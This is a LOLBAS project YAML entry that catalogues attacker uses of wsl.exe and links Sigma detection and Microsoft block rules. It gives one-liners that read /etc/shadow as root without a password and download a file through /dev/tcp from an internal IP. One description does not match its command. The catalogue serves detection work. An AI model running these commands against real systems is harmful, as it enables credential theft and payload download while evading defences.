mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-30 16:54:00 +01:00
23dd0236ae
* Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com>
53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
---
|
|
Name: Wsl.exe
|
|
Description: Windows subsystem for Linux executable
|
|
Author: 'Matthew Brown'
|
|
Created: 2019-06-27
|
|
Commands:
|
|
- Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe
|
|
Description: Executes calc.exe from wsl.exe
|
|
Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands.
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1202
|
|
OperatingSystem: Windows 10, Windows 19 Server
|
|
- Command: wsl.exe -u root -e cat /etc/shadow
|
|
Description: Cats /etc/shadow file as root
|
|
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1202
|
|
OperatingSystem: Windows 10, Windows 19 Server
|
|
- Command: wsl.exe --exec bash -c 'cat file'
|
|
Description: Cats /etc/shadow file as root
|
|
Usecase: Performs execution of arbitrary Linux commands.
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1202
|
|
OperatingSystem: Windows 10, Windows 19 Server
|
|
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
|
|
Description: Downloads file from 192.168.1.10
|
|
Usecase: Download file
|
|
Category: Download
|
|
Privileges: User
|
|
MitreID: T1202
|
|
OperatingSystem: Windows 10, Windows 19 Server
|
|
Full_Path:
|
|
- Path: C:\Windows\System32\wsl.exe
|
|
Code_Sample:
|
|
- Code:
|
|
Detection:
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_wsl_lolbin.yml
|
|
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
|
- IOC: Child process from wsl.exe
|
|
Resources:
|
|
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
|
Acknowledgement:
|
|
- Person: Alex Ionescu
|
|
Handle: '@aionescu'
|
|
- Person: Matt
|
|
Handle: '@NotoriousRebel1'
|
|
- Person: Asif Matadar
|
|
Handle: '@d1r4c'
|
|
---
|